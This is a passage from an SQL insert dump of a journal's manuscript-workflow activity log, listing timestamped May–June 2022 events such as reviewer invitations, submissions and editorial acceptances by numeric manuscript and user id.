Invited Reviewer',12697,'Editor',195),(118259,'2022-05-18 22:26:19','Editor has Invited Reviewer',12697,'Editor',195),(118260,'2022-05-18 22:26:24','Editor has Invited Reviewer',12697,'Editor',195),(118261,'2022-05-18 22:26:30','Editor has Invited Reviewer',12697,'Editor',195),(118262,'2022-05-18 22:26:35','Editor has Invited Reviewer',12697,'Editor',195),(118263,'2022-05-18 22:26:41','Editor has Invited Reviewer',12697,'Editor',195),(118264,'2022-05-18 22:26:46','Editor has Invited Reviewer',12697,'Editor',195),(118265,'2022-05-18 22:26:51','Editor has Invited Reviewer',12697,'Editor',195),(118266,'2022-05-18 22:26:56','Editor has Invited Reviewer',12697,'Editor',195),(118267,'2022-05-18 22:27:02','Editor has Invited Reviewer',12697,'Editor',195),(118268,'2022-05-18 22:27:07','Editor has Invited Reviewer',12697,'Editor',195),(118269,'2022-05-18 22:27:13','Editor has Invited Reviewer',12697,'Editor',195),(118270,'2022-05-18 22:27:19','Editor has Invited Reviewer',12697,'Editor',195),(118271,'2022-05-18 22:27:24','Editor has Invited Reviewer',12697,'Editor',195),(118272,'2022-05-18 23:02:42','Reviewer has been sent email to Publisher',12784,'Reviewer',11350),(118273,'2022-05-18 23:03:15','Reviewer has been sent email to Publisher',12697,'Reviewer',11350),(118274,'2022-05-19 12:01:34','Manuscript Submitted by Author using Submission form',12787,'Author',13028),(118275,'2022-05-19 12:02:58','Publisher has been Accepted Articles  article',12755,'Publisher',48),(118276,'2022-05-20 09:44:33','Publisher has Invited Reviewer',12785,'Publisher',48),(118277,'2022-05-20 09:44:39','Publisher has Invited Reviewer',12785,'Publisher',48),(118278,'2022-05-20 09:44:45','Publisher has Invited Reviewer',12785,'Publisher',48),(118279,'2022-05-20 09:45:50','Publisher has Invited Reviewer',12783,'Publisher',48),(118280,'2022-05-20 09:45:55','Publisher has Invited Reviewer',12783,'Publisher',48),(118281,'2022-05-20 09:46:01','Publisher has Invited Reviewer',12783,'Publisher',48),(118282,'2022-05-21 06:21:12','Manuscript Submitted by Author',12789,'Author',9267),(118283,'2022-05-21 06:23:46','Manuscript Submitted by Author',12790,'Author',9267),(118284,'2022-05-21 06:32:32','Manuscript Submitted by Author',12791,'Author',13021),(118285,'2022-05-21 06:49:20','Manuscript Submitted by Author',12792,'Author',9267),(118286,'2022-05-21 23:17:04','Manuscript Submitted by Author',12793,'Author',9267),(118287,'2022-05-22 09:01:09','Manuscript Submitted by Author',12795,'Author',9267),(118288,'2022-05-23 10:43:52','Manuscript Submitted by Publisher',12796,'Publisher',48),(118289,'2022-05-24 11:29:09','Publisher has been Assigned Editor',12789,'Publisher',48),(118290,'2022-05-24 11:29:36','Publisher has been Assigned Editor',12790,'Publisher',48),(118291,'2022-05-24 11:29:58','Publisher has been Assigned Editor',12793,'Publisher',48),(118292,'2022-05-24 11:30:16','Publisher has been Assigned Editor',12795,'Publisher',48),(118293,'2022-05-24 11:30:38','Publisher has been Assigned Editor',12796,'Publisher',48),(118294,'2022-05-24 11:32:07','Publisher has Invited Reviewer',12789,'Publisher',48),(118295,'2022-05-24 11:32:13','Publisher has Invited Reviewer',12789,'Publisher',48),(118296,'2022-05-24 11:32:19','Publisher has Invited Reviewer',12789,'Publisher',48),(118297,'2022-05-24 11:32:24','Publisher has Invited Reviewer',12789,'Publisher',48),(118298,'2022-05-24 11:49:03','Publisher has Invited Reviewer',12796,'Publisher',48),(118299,'2022-05-24 11:49:09','Publisher has Invited Reviewer',12796,'Publisher',48),(118300,'2022-05-24 11:49:15','Publisher has Invited Reviewer',12796,'Publisher',48),(118301,'2022-05-24 11:49:20','Publisher has Invited Reviewer',12796,'Publisher',48),(118302,'2022-05-24 11:49:26','Publisher has Invited Reviewer',12796,'Publisher',48),(118303,'2022-05-24 12:38:53','Manuscript Submitted by Author',12798,'Author',9267),(118304,'2022-05-24 16:07:41','Manuscript Submitted by Author',12799,'Author',13033),(118305,'2022-05-24 16:54:18','Publisher has Invited Reviewer',12723,'Publisher',75),(118306,'2022-05-24 16:54:23','Publisher has Invited Reviewer',12723,'Publisher',75),(118307,'2022-05-24 16:54:29','Publisher has Invited Reviewer',12723,'Publisher',75),(118308,'2022-05-24 16:54:52','Publisher has Invited Reviewer',12723,'Publisher',75),(118309,'2022-05-24 16:54:57','Publisher has Invited Reviewer',12723,'Publisher',75),(118310,'2022-05-24 16:55:03','Publisher has Invited Reviewer',12723,'Publisher',75),(118311,'2022-05-24 16:55:08','Publisher has Invited Reviewer',12723,'Publisher',75),(118312,'2022-05-24 16:56:13','Publisher has Invited Reviewer',12777,'Publisher',75),(118313,'2022-05-24 16:56:18','Publisher has Invited Reviewer',12777,'Publisher',75),(118314,'2022-05-24 16:56:24','Publisher has Invited Reviewer',12777,'Publisher',75),(118315,'2022-05-24 16:56:30','Publisher has Invited Reviewer',12777,'Publisher',75),(118316,'2022-05-24 16:56:35','Publisher has Invited Reviewer',12777,'Publisher',75),(118317,'2022-05-24 16:56:41','Publisher has Invited Reviewer',12777,'Publisher',75),(118318,'2022-05-24 16:56:46','Publisher has Invited Reviewer',12777,'Publisher',75),(118319,'2022-05-24 16:56:52','Publisher has Invited Reviewer',12777,'Publisher',75),(118320,'2022-05-24 17:20:46','Publisher has been Assigned Editor',12797,'Publisher',984),(118321,'2022-05-24 17:21:27','Publisher has Invited Reviewer',12797,'Publisher',984),(118322,'2022-05-24 19:01:07','Editor has Accepted to review Manuscript',12793,'Editor',195),(118323,'2022-05-24 19:01:17','Editor has Accepted to review Manuscript',12790,'Editor',195),(118324,'2022-05-24 19:01:56','Editor has Invited Reviewer',12790,'Editor',195),(118325,'2022-05-24 19:02:22','Editor has Invited Reviewer',12790,'Editor',195),(118326,'2022-05-24 19:02:29','Editor has Invited Reviewer',12790,'Editor',195),(118327,'2022-05-24 19:02:35','Editor has Invited Reviewer',12790,'Editor',195),(118328,'2022-05-24 19:02:41','Editor has Invited Reviewer',12790,'Editor',195),(118329,'2022-05-24 19:02:47','Editor has Invited Reviewer',12790,'Editor',195),(118330,'2022-05-24 19:02:52','Editor has Invited Reviewer',12790,'Editor',195),(118331,'2022-05-24 19:02:57','Editor has Invited Reviewer',12790,'Editor',195),(118332,'2022-05-24 19:03:03','Editor has Invited Reviewer',12790,'Editor',195),(118333,'2022-05-24 19:03:08','Editor has Invited Reviewer',12790,'Editor',195),(118334,'2022-05-24 19:03:14','Editor has Invited Reviewer',12790,'Editor',195),(118335,'2022-05-24 19:03:19','Editor has Invited Reviewer',12790,'Editor',195),(118336,'2022-05-24 19:03:48','Editor has Invited Reviewer',12790,'Editor',195),(118337,'2022-05-24 19:03:53','Editor has Invited Reviewer',12790,'Editor',195),(118338,'2022-05-24 19:03:59','Editor has Invited Reviewer',12790,'Editor',195),(118339,'2022-05-24 19:04:04','Editor has Invited Reviewer',12790,'Editor',195),(118340,'2022-05-24 19:04:48','Editor has Invited Reviewer',12793,'Editor',195),(118341,'2022-05-24 19:05:10','Editor has Invited Reviewer',12793,'Editor',195),(118342,'2022-05-24 19:05:15','Editor has Invited Reviewer',12793,'Editor',195),(118343,'2022-05-24 19:05:21','Editor has Invited Reviewer',12793,'Editor',195),(118344,'2022-05-24 19:05:26','Editor has Invited Reviewer',12793,'Editor',195),(118345,'2022-05-24 19:05:32','Editor has Invited Reviewer',12793,'Editor',195),(118346,'2022-05-24 19:05:37','Editor has Invited Reviewer',12793,'Editor',195),(118347,'2022-05-24 19:05:43','Editor has Invited Reviewer',12793,'Editor',195),(118348,'2022-05-24 19:05:48','Editor has Invited Reviewer',12793,'Editor',195),(118349,'2022-05-24 19:05:53','Editor has Invited Reviewer',12793,'Editor',195),(118350,'2022-05-24 19:05:59','Editor has Invited Reviewer',12793,'Editor',195),(118351,'2022-05-24 19:06:04','Editor has Invited Reviewer',12793,'Editor',195),(118352,'2022-05-24 19:32:37','Editor has Invited Reviewer',12793,'Editor',195),(118353,'2022-05-24 19:32:43','Editor has Invited Reviewer',12793,'Editor',195),(118354,'2022-05-24 19:32:49','Editor has Invited Reviewer',12793,'Editor',195),(118355,'2022-05-24 19:32:55','Editor has Invited Reviewer',12793,'Editor',195),(118356,'2022-05-24 19:33:01','Editor has Invited Reviewer',12793,'Editor',195),(118357,'2022-05-24 19:33:06','Editor has Invited Reviewer',12793,'Editor',195),(118358,'2022-05-24 19:33:12','Editor has Invited Reviewer',12793,'Editor',195),(118359,'2022-05-24 19:33:17','Editor has Invited Reviewer',12793,'Editor',195),(118360,'2022-05-24 19:33:22','Editor has Invited Reviewer',12793,'Editor',195),(118361,'2022-05-24 19:33:28','Editor has Invited Reviewer',12793,'Editor',195),(118362,'2022-05-24 19:33:33','Editor has Invited Reviewer',12793,'Editor',195),(118363,'2022-05-24 19:33:38','Editor has Invited Reviewer',12793,'Editor',195),(118364,'2022-05-24 19:33:44','Editor has Invited Reviewer',12793,'Editor',195),(118365,'2022-05-24 19:33:49','Editor has Invited Reviewer',12793,'Editor',195),(118366,'2022-05-24 19:33:55','Editor has Invited Reviewer',12793,'Editor',195),(118367,'2022-05-24 19:34:00','Editor has Invited Reviewer',12793,'Editor',195),(118368,'2022-05-24 19:34:06','Editor has Invited Reviewer',12793,'Editor',195),(118369,'2022-05-24 19:34:11','Editor has Invited Reviewer',12793,'Editor',195),(118370,'2022-05-25 11:05:51','Editor has Accepted to review Manuscript',11493,'Editor',1667),(118371,'2022-05-25 11:06:08','Publisher has Invited Reviewer',12795,'Publisher',48),(118372,'2022-05-25 11:06:13','Publisher has Invited Reviewer',12795,'Publisher',48),(118373,'2022-05-25 11:06:19','Publisher has Invited Reviewer',12795,'Publisher',48),(118374,'2022-05-25 11:06:24','Publisher has Invited Reviewer',12795,'Publisher',48),(118375,'2022-05-25 11:06:30','Publisher has Invited Reviewer',12795,'Publisher',48),(118376,'2022-05-25 11:06:48','Publisher has been Accepted Articles  article',11493,'Publisher',274),(118377,'2022-05-25 11:25:01','Editor has Accepted to review Manuscript',12675,'Editor',1661),(118378,'2022-05-25 11:26:04','Editor has been Editor Decision Accepted article',12675,'Editor',1661),(118379,'2022-05-25 11:27:21','Publisher has been Accepted Articles  article',12675,'Publisher',274),(118380,'2022-05-25 11:44:57','Editor has Accepted to review Manuscript',12674,'Editor',1661),(118381,'2022-05-25 11:47:15','Editor has been Editor Decision Accepted article',12674,'Editor',1661),(118382,'2022-05-25 11:48:21','Publisher has been Accepted Articles  article',12674,'Publisher',274),(118383,'2022-05-25 11:48:23','Publisher has been Accepted Articles  article',12674,'Publisher',274),(118384,'2022-05-25 11:57:42','Editor has Accepted to review Manuscript',12565,'Editor',1666),(118385,'2022-05-25 11:58:16','Editor has been Editor Decision Accepted article',12565,'Editor',1666),(118386,'2022-05-25 12:05:13','Editor has Accepted to review Manuscript',12718,'Editor',1665),(118387,'2022-05-25 12:05:47','Editor has been Editor Decision Accepted article',12718,'Editor',1665),(118388,'2022-05-25 12:07:59','Publisher has been Accepted Articles  article',12718,'Publisher',274),(118389,'2022-05-25 13:29:02','Reviewer has submitted comments',12795,'Reviewer',5467),(118390,'2022-05-25 13:29:34','Reviewer has submitted comments',12795,'Reviewer',5467),(118391,'2022-05-25 14:18:31','Manuscript Submitted by Author using Submission form',12799,'Author',13035),(118392,'2022-05-25 15:47:43','Reviewer has been sent email to Publisher',12795,'Reviewer',10975),(118393,'2022-05-25 15:48:36','Publisher has been Assigned Editor',12798,'Publisher',48),(118394,'2022-05-26 12:04:24','Publisher has Invited Reviewer',12797,'Publisher',984),(118395,'2022-05-26 12:04:30','Publisher has Invited Reviewer',12797,'Publisher',984),(118396,'2022-05-26 12:04:35','Publisher has Invited Reviewer',12797,'Publisher',984),(118397,'2022-05-26 12:04:41','Publisher has Invited Reviewer',12797,'Publisher',984),(118398,'2022-05-26 12:04:46','Publisher has Invited Reviewer',12797,'Publisher',984),(118399,'2022-05-26 12:04:52','Publisher has Invited Reviewer',12797,'Publisher',984),(118400,'2022-05-26 12:04:58','Publisher has Invited Reviewer',12797,'Publisher',984),(118401,'2022-05-26 12:05:03','Publisher has Invited Reviewer',12797,'Publisher',984),(118402,'2022-05-26 12:05:09','Publisher has Invited Reviewer',12797,'Publisher',984),(118403,'2022-05-26 12:05:14','Publisher has Invited Reviewer',12797,'Publisher',984),(118404,'2022-05-26 12:05:19','Publisher has Invited Reviewer',12797,'Publisher',984),(118405,'2022-05-26 12:05:25','Publisher has Invited Reviewer',12797,'Publisher',984),(118406,'2022-05-26 12:05:30','Publisher has Invited Reviewer',12797,'Publisher',984),(118407,'2022-05-26 12:18:39','Publisher has Invited Reviewer',12798,'Publisher',48),(118408,'2022-05-26 12:18:45','Publisher has Invited Reviewer',12798,'Publisher',48),(118409,'2022-05-26 12:18:51','Publisher has Invited Reviewer',12798,'Publisher',48),(118410,'2022-05-26 12:18:56','Publisher has Invited Reviewer',12798,'Publisher',48),(118411,'2022-05-28 09:34:31','Publisher has been Assigned Editor',12786,'Publisher',48),(118412,'2022-05-28 09:47:50','Reviewer has submitted comments',3252,'Reviewer',10978),(118413,'2022-05-28 09:47:56','Reviewer has submitted comments',3252,'Reviewer',10978),(118414,'2022-05-29 00:10:53','Editor has Accepted to review Manuscript',12786,'Editor',195),(118415,'2022-05-29 00:11:25','Editor has Invited Reviewer',12786,'Editor',195),(118416,'2022-05-29 00:11:31','Editor has Invited Reviewer',12786,'Editor',195),(118417,'2022-05-29 00:11:37','Editor has Invited Reviewer',12786,'Editor',195),(118418,'2022-05-29 00:11:43','Editor has Invited Reviewer',12786,'Editor',195),(118419,'2022-05-29 00:11:49','Editor has Invited Reviewer',12786,'Editor',195),(118420,'2022-05-29 00:12:04','Editor has Invited Reviewer',12786,'Editor',195),(118421,'2022-05-29 10:08:33','Manuscript Submitted by Author using Submission form',12801,'Author',13037),(118422,'2022-05-29 10:21:20','Manuscript Submitted by Author',12802,'Author',13038),(118423,'2022-05-30 14:10:12','Reviewer has submitted comments',12745,'Reviewer',18592),(118424,'2022-05-30 14:10:38','Editor has Accepted to review Manuscript',12745,'Editor',192),(118425,'2022-05-30 14:10:59','Editor has been Editor Decision Accepted article',12745,'Editor',192),(118426,'2022-05-30 14:17:29','Reviewer has submitted comments',12746,'Reviewer',11689),(118427,'2022-05-30 14:19:09','Editor has Accepted to review Manuscript',12746,'Editor',194),(118428,'2022-05-30 14:19:40','Editor has been Editor Decision Accepted article',12746,'Editor',194),(118429,'2022-05-30 14:41:28','Publisher has been Accepted Articles  article',12745,'Publisher',48),(118430,'2022-05-30 14:42:07','Publisher has been Accepted Articles  article',12746,'Publisher',48),(118431,'2022-05-30 14:49:33','Reviewer has submitted comments',12747,'Reviewer',11687),(118432,'2022-05-30 14:50:06','Editor has Accepted to review Manuscript',12747,'Editor',194),(118433,'2022-05-30 14:50:17','Editor has been Editor Decision Accepted article',12747,'Editor',194),(118434,'2022-05-30 14:50:25','Editor has Accepted to review Manuscript',12748,'Editor',194),(118435,'2022-05-30 14:50:43','Editor has been Editor Decision Accepted article',12748,'Editor',194),(118436,'2022-05-30 14:51:45','Publisher has been Accepted Articles  article',12747,'Publisher',48),(118437,'2022-05-30 14:55:30','Reviewer has submitted comments',12748,'Reviewer',11845),(118438,'2022-05-30 14:56:33','Publisher has been Accepted Articles  article',12748,'Publisher',48),(118439,'2022-05-30 18:04:42','Manuscript Submitted by Author',12804,'Author',9267),(118440,'2022-05-31 10:26:13','Manuscript Submitted by Author using Submission form',12805,'Author',13040),(118441,'2022-05-31 10:31:47','Manuscript Submitted by Author',12806,'Author',13040),(118442,'2022-05-31 15:24:31','Reviewer has submitted comments',12785,'Reviewer',14685),(118443,'2022-05-31 15:25:17','Editor has Accepted to review Manuscript',12785,'Editor',194),(118444,'2022-05-31 15:25:31','Editor has been Editor Decision Accepted article',12785,'Editor',194),(118445,'2022-05-31 15:26:15','Publisher has been Accepted Articles  article',12785,'Publisher',48),(118446,'2022-06-01 09:43:57','Reviewer has submitted comments',12784,'Reviewer',18593),(118447,'2022-06-01 09:45:09','Editor has been Editor Decision Accepted article',12784,'Editor',195),(118448,'2022-06-01 09:46:19','Publisher has been Accepted Articles  article',12784,'Publisher',48),(118449,'2022-06-01 10:24:48','Publisher has been Rejected Articles  article',11550,'Publisher',85),(118450,'2022-06-01 13:54:46','Manuscript Submitted by Publisher',12807,'Publisher',48),(118451,'2022-06-01 15:31:49','Publisher has been Assigned Editor',12804,'Publisher',48),(118452,'2022-06-02 05:14:43','Manuscript Submitted by Author using Submission form',12808,'Author',13042),(118453,'2022-06-02 14:22:08','Publisher has Invited Reviewer',12804,'Publisher',48),(118454,'2022-06-02 14:22:13','Publisher has Invited Reviewer',12804,'Publisher',48),(118455,'2022-06-02 14:22:19','Publisher has Invited Reviewer',12804,'Publisher',48),(118456,'2022-06-02 15:23:53','Manuscript Submitted by Author',12809,'Author',13041),(118457,'2022-06-02 21:49:18','Manuscript Submitted by Author using Submission form',12810,'Author',13044),(118458,'2022-06-03 09:09:51','Publisher has been Assigned Editor',12807,'Publisher',48),(118459,'2022-06-03 13:39:02','Reviewer has submitted comments',12786,'Reviewer',21393),(118460,'2022-06-03 13:39:37','Editor has been Editor Decision Accepted article',12786,'Editor',195),(118461,'2022-06-03 13:41:11','Publisher has been Accepted Articles  article',12786,'Publisher',48),(118462,'2022-06-03 13:41:18','Publisher has been Accepted Articles  article',12786,'Publisher',48),(118463,'2022-06-03 22:31:55','Editor has Accepted to review Manuscript',12807,'Editor',195),(118464,'2022-06-03 22:32:01','Editor has Accepted to review Manuscript',12804,'Editor',195),(118465,'2022-06-03 22:33:31','Editor has Invited Reviewer',12807,'Editor',195),(118466,'2022-06-03 22:33:38','Editor has Invited Reviewer',12807,'Editor',195),(118467,'2022-06-03 22:33:43','Editor has Invited Reviewer',12807,'Editor',195),(118468,'2022-06-03 22:33:49','Editor has Invited Reviewer',12807,'Editor',195),(118469,'2022-06-03 22:33:54','Editor has Invited Reviewer',12807,'Editor',195),(118470,'2022-06-03 22:34:00','Editor has Invited Reviewer',12807,'Editor',195),(118471,'2022-06-03 22:34:05','Editor has Invited Reviewer',12807,'Editor',195),(118472,'2022-06-03 22:34:11','Editor has Invited Reviewer',12807,'Editor',195),(118473,'2022-06-03 22:34:16','Editor has Invited Reviewer',12807,'Editor',195),(118474,'2022-06-03 22:34:21','Editor has Invited Reviewer',12807,'Editor',195),(118475,'2022-06-03 22:34:27','Editor has Invited Reviewer',12807,'Editor',195),(118476,'2022-06-03 22:34:32','Editor has Invited Reviewer',12807,'Editor',195),(118477,'2022-06-03 22:34:37','Editor has Invited Reviewer',12807,'Editor',195),(118478,'2022-06-03 22:34:43','Editor has Invited Reviewer',12807,'Editor',195),(118479,'2022-06-03 22:34:49','Editor has Invited Reviewer',12807,'Editor',195),(118480,'2022-06-03 22:34:54','Editor has Invited Reviewer',12807,'Editor',195),(118481,'2022-06-03 22:34:59','Editor has Invited Reviewer',12807,'Editor',195),(118482,'2022-06-03 22:35:05','Editor has Invited Reviewer',12807,'Editor',195),(118483,'2022-06-03 22:35:10','Editor has Invited Reviewer',12807,'Editor',195),(118484,'2022-06-03 22:36:01','Editor has Invited Reviewer',12807,'Editor',195),(118485,'2022-06-03 22:36:06','Editor has Invited Reviewer',12807,'Editor',195),(118486,'2022-06-03 22:36:11','Editor has Invited Reviewer',12807,'Editor',195),(118487,'2022-06-03 22:36:17','Editor has Invited Reviewer',12807,'Editor',195),(118488,'2022-06-03 22:36:22','Editor has Invited Reviewer',12807,'Editor',195),(118489,'2022-06-03 22:36:54','Editor has Invited Reviewer',12804,'Editor',195),(118490,'2022-06-03 22:37:00','Editor has Invited Reviewer',12804,'Editor',195),(118491,'2022-06-03 22:37:05','Editor has Invited Reviewer',12804,'Editor',195),(118492,'2022-06-03 22:37:11','Editor has Invited Reviewer',12804,'Editor',195),(118493,'2022-06-03 22:37:16','Editor has Invited Reviewer',12804,'Editor',195),(118494,'2022-06-03 22:37:21','Editor has Invited Reviewer',12804,'Editor',195),(118495,'2022-06-03 22:37:27','Editor has Invited Reviewer',12804,'Editor',195),(118496,'2022-06-03 22:37:33','Editor has Invited Reviewer',12804,'Editor',195),(118497,'2022-06-03 22:37:38','Editor has Invited Reviewer',12804,'Editor',195),(118498,'2022-06-03 22:37:43','Editor has Invited Reviewer',12804,'Editor',195),(118499,'2022-06-03 22:38:31','Editor has Invited Reviewer',12804,'Editor',195),(118500,'2022-06-03 22:38:36','Editor has Invited Reviewer',12804,'Editor',195),(118501,'2022-06-03 22:38:42','Editor has Invited Reviewer',12804,'Editor',195),(118502,'2022-06-03 22:38:47','Editor has Invited Reviewer',12804,'Editor',195),(118503,'2022-06-03 22:38:52','Editor has Invited Reviewer',12804,'Editor',195),(118504,'2022-06-03 22:38:58','Editor has Invited Reviewer',12804,'Editor',195),(118505,'2022-06-03 22:39:04','Editor has Invited Reviewer',12804,'Editor',195),(118506,'2022-06-03 22:39:10','Editor has Invited Reviewer',12804,'Editor',195),(118507,'2022-06-03 22:39:15','Editor has Invited Reviewer',12804,'Editor',195),(118508,'2022-06-03 22:39:21','Editor has Invited Reviewer',12804,'Editor',195),(118509,'2022-06-03 22:39:26','Editor has Invited Reviewer',12804,'Editor',195),(118510,'2022-06-03 22:39:31','Editor has Invited Reviewer',12804,'Editor',195),(118511,'2022-06-03 22:39:37','Editor has Invited Reviewer',12804,'Editor',195),(118512,'2022-06-03 22:39:42','Editor has Invited Reviewer',12804,'Editor',195),(118513,'2022-06-03 22:39:48','Editor has Invited Reviewer',12804,'Editor',195),(118514,'2022-06-03 22:39:53','Editor has Invited Reviewer',12804,'Editor',195),(118515,'2022-06-03 22:39:58','Editor has Invited Reviewer',12804,'Editor',195),(118516,'2022-06-04 00:24:20','Reviewer has submitted comments',12804,'Reviewer',5467),(118517,'2022-06-04 10:01:45','Publisher has been Assigned Editor',12799,'Publisher',75),(118518,'2022-06-04 10:59:32','Reviewer has updated comments',12789,'Reviewer',14534),(118519,'2022-06-04 11:00:18','Editor has Accepted to review Manuscript',12789,'Editor',194),(118520,'2022-06-04 11:00:30','Editor has been Editor Decision Accepted article',12789,'Editor',194),(118521,'2022-06-04 11:01:30','Publisher has been Accepted Articles  article',12789,'Publisher',48),(118522,'2022-06-04 14:29:17','Manuscript Submitted by Author',12811,'Author',13021),(118523,'2022-06-06 12:08:55','Reviewer has submitted comments',12790,'Reviewer',15676),(118524,'2022-06-06 12:09:37','Editor has been Editor Decision Accepted article',12790,'Editor',195),(118525,'2022-06-06 12:10:39','Publisher has been Accepted Articles  article',12790,'Publisher',48),(118526,'2022-06-06 12:19:49','Reviewer has submitted comments',12796,'Reviewer',21392),(118527,'2022-06-06 12:20:49','Editor has Accepted to review Manuscript',12796,'Editor',189),(118528,'2022-06-06 12:20:58','Editor has been Editor Decision Accepted article',12796,'Editor',189),(118529,'2022-06-06 12:22:33','Publisher has been Accepted Articles  article',12796,'Publisher',48),(118530,'2022-06-06 12:26:27','Publisher has been Withdrawn  article',12798,'Publisher',48),(118531,'2022-06-06 14:33:33','Publisher has been Withdrawn  article',12793,'Publisher',48),(118532,'2022-06-07 09:42:34','Publisher has Invited Reviewer',12799,'Publisher',75),(118533,'2022-06-07 09:42:39','Publisher has Invited Reviewer',12799,'Publisher',75),(118534,'2022-06-07 09:42:45','Publisher has Invited Reviewer',12799,'Publisher',75),(118535,'2022-06-07 09:42:51','Publisher has Invited Reviewer',12799,'Publisher',75),(118536,'2022-06-07 09:42:57','Publisher has Invited Reviewer',12799,'Publisher',75),(118537,'2022-06-07 09:43:03','Publisher has Invited Reviewer',12799,'Publisher',75),(118538,'2022-06-07 10:08:47','Publisher has been Assigned Editor',12798,'Publisher',48),(118539,'2022-06-07 10:10:50','Publisher has Invited Reviewer',12798,'Publisher',48),(118540,'2022-06-07 10:10:56','Publisher has Invited Reviewer',12798,'Publisher',48),(118541,'2022-06-07 10:11:02','Publisher has Invited Reviewer',12798,'Publisher',48),(118542,'2022-06-07 10:23:52','Reviewer has submitted comments',12798,'Reviewer',12532),(118543,'2022-06-07 10:24:25','Editor has Accepted to review Manuscript',12798,'Editor',189),(118544,'2022-06-07 10:24:35','Editor has been Editor Decision Accepted article',12798,'Editor',189),(118545,'2022-06-07 10:25:25','Publisher has been Accepted Articles  article',12798,'Publisher',48),(118546,'2022-06-07 12:09:02','Manuscript Submitted by Author using Submission form',12814,'Author',13049),(118547,'2022-06-08 10:06:43','Editor has been Editor Decision Accepted article',12769,'Editor',1780),(118548,'2022-06-08 10:06:52','Editor has Accepted to review Manuscript',12756,'Editor',1780),(118549,'2022-06-08 10:07:03','Editor has been Editor Decision Accepted article',12756,'Editor',1780),(118550,'2022-06-08 10:08:04','Publisher: Accept Notification has been sent to Author',12756,'Publisher',984),(118551,'2022-06-08 14:45:50','Editor has Accepted to review Manuscript',12795,'Editor',194),(118552,'2022-06-08 14:46:02','Editor has been Editor Decision Accepted article',12795,'Editor',194),(118553,'2022-06-08 14:46:54','Publisher has been Accepted Articles  article',12795,'Publisher',48),(118554,'2022-06-09 20:11:05','Manuscript Submitted by Author using Submission form',12815,'Author',13050),(118555,'2022-06-10 14:42:05','Author sent Email',9603,'Author',10473),(118556,'2022-06-13 08:15:58','Manuscript Submitted by Author using Submission form',12816,'Author',13052),(118557,'2022-06-13 11:45:32','Editor has been Editor Decision Accepted article',12804,'Editor',195),(118558,'2022-06-13 11:46:34','Publisher has been Accepted Articles  article',12804,'Publisher',48),(118559,'2022-06-14 05:24:46','Manuscript Submitted by Author using Submission form',12817,'Author',13054),(118560,'2022-06-14 08:18:37','Publisher has been Assigned Editor',12791,'Publisher',673),(118561,'2022-06-14 08:19:03','Publisher has been Assigned Editor',12295,'Publisher',673),(118562,'2022-06-14 09:54:48','Publisher: Accept Notification has been sent to Author',12769,'Publisher',984),(118563,'2022-06-14 13:42:11','Editor has Accepted to review Manuscript',12693,'Editor',161),(118564,'2022-06-14 13:42:21','Editor has been Editor Decision Accepted article',12693,'Editor',161),(118565,'2022-06-14 13:43:11','Publisher: Accept Notification has been sent to Author',12693,'Publisher',75),(118566,'2022-06-14 13:43:36','Publisher has been Accepted Articles  article',12693,'Publisher',75),(118567,'2022-06-15 10:12:05','Publisher has been Accepted Articles  article',12756,'Publisher',984),(118568,'2022-06-15 10:12:07','Publisher has been Accepted Articles  article',12756,'Publisher',984),(118569,'2022-06-15 10:12:11','Publisher has been Accepted Articles  article',12756,'Publisher',984),(118570,'2022-06-15 15:44:41','Reviewer has submitted comments',12783,'Reviewer',12531),(118571,'2022-06-15 15:46:29','Editor has Accepted to review Manuscript',12783,'Editor',194),(118572,'2022-06-15 15:46:43','Editor has been Editor Decision Accepted article',12783,'Editor',194),(118573,'2022-06-15 15:47:47','Publisher has been Accepted Articles  article',12783,'Publisher',48),(118574,'2022-06-16 13:57:07','Manuscript Submitted by Publisher',12821,'Publisher',75),(118575,'2022-06-16 15:43:24','Editor has been Editor Decision Accepted article',12774,'Editor',1780),(118576,'2022-06-16 15:44:55','Publisher: Accept Notification has been sent to Author',12774,'Publisher',984),(118577,'2022-06-16 18:02:03','Editor has Accepted to review Manuscript',12799,'Editor',161),(118578,'2022-06-16 18:02:12','Editor has been Editor Decision Accepted article',12799,'Editor',161),(118579,'2022-06-16 18:02:53','Publisher: Accept Notification has been sent to Author',12799,'Publisher',75),(118580,'2022-06-16 18:03:10','Publisher has been Accepted Articles  article',12799,'Publisher',75),(118581,'2022-06-16 18:54:35','Manuscript Submitted by Author',12822,'Author',13043),(118582,'2022-06-18 10:57:12','Editor has Accepted to review Manuscript',12743,'Editor',1661),(118583,'2022-06-18 10:57:25','Editor has been Editor Decision Accepted article',12743,'Editor',1661),(118584,'2022-06-18 11:02:08','Editor has Accepted to review Manuscript',12272,'Editor',1661),(118585,'2022-06-18 11:03:06','Editor has been Editor Decision Accepted article',12272,'Editor',1661),(118586,'2022-06-18 11:08:27','Publisher has been Accepted Articles  article',12272,'Publisher',274),(118587,'2022-06-18 11:11:05','Editor has Accepted to review Manuscript',12274,'Editor',1668),(118588,'2022-06-18 11:11:21','Editor has been Editor Decision Accepted article',12274,'Editor',1668),(118589,'2022-06-19 05:26:06','Manuscript Submitted by Author using Submission form',12823,'Author',13059),(118590,'2022-06-20 10:12:11','Publisher has been Accepted Articles  article',12274,'Publisher',274),(118591,'2022-06-20 10:13:42','Editor has Accepted to review Manuscript',11476,'Editor',1666),(118592,'2022-06-20 10:14:02','Editor has been Editor Decision Accepted article',11476,'Editor',1666),(118593,'2022-06-20 10:15:34','Publisher has been Accepted Articles  article',11476,'Publisher',274),(118594,'2022-06-20 10:17:30','Editor has Accepted to review Manuscript',11152,'Editor',1665),(118595,'2022-06-20 10:18:04','Editor has been Editor Decision Accepted article',11152,'Editor',1665),(118596,'2022-06-20 10:19:19','Publisher has been Accepted Articles  article',11152,'Publisher',274),(118597,'2022-06-20 10:21:05','Editor has Accepted to review Manuscript',11196,'Editor',1665),(118598,'2022-06-20 10:21:24','Editor has been Editor Decision Accepted article',11196,'Editor',1665),(118599,'2022-06-20 10:22:11','Publisher has been Accepted Articles  article',11196,'Publisher',274),(118600,'2022-06-21 14:08:57','Publisher has been Assigned Editor',12823,'Publisher',48),(118601,'2022-06-21 14:35:03','Publisher has Invited Reviewer',12823,'Publisher',48),(118602,'2022-06-21 14:35:07','Publisher has Invited Reviewer',12823,'Publisher',48),(118603,'2022-06-21 14:35:12','Publisher has Invited Reviewer',12823,'Publisher',48),(118604,'2022-06-21 14:35:17','Publisher has Invited Reviewer',12823,'Publisher',48),(118605,'2022-06-21 14:35:22','Publisher has Invited Reviewer',12823,'Publisher',48),(118606,'2022-06-21 15:26:27','Publisher has been Accepted Articles  article',12769,'Publisher',984),(118607,'2022-06-21 15:27:06','Publisher has been Accepted Articles  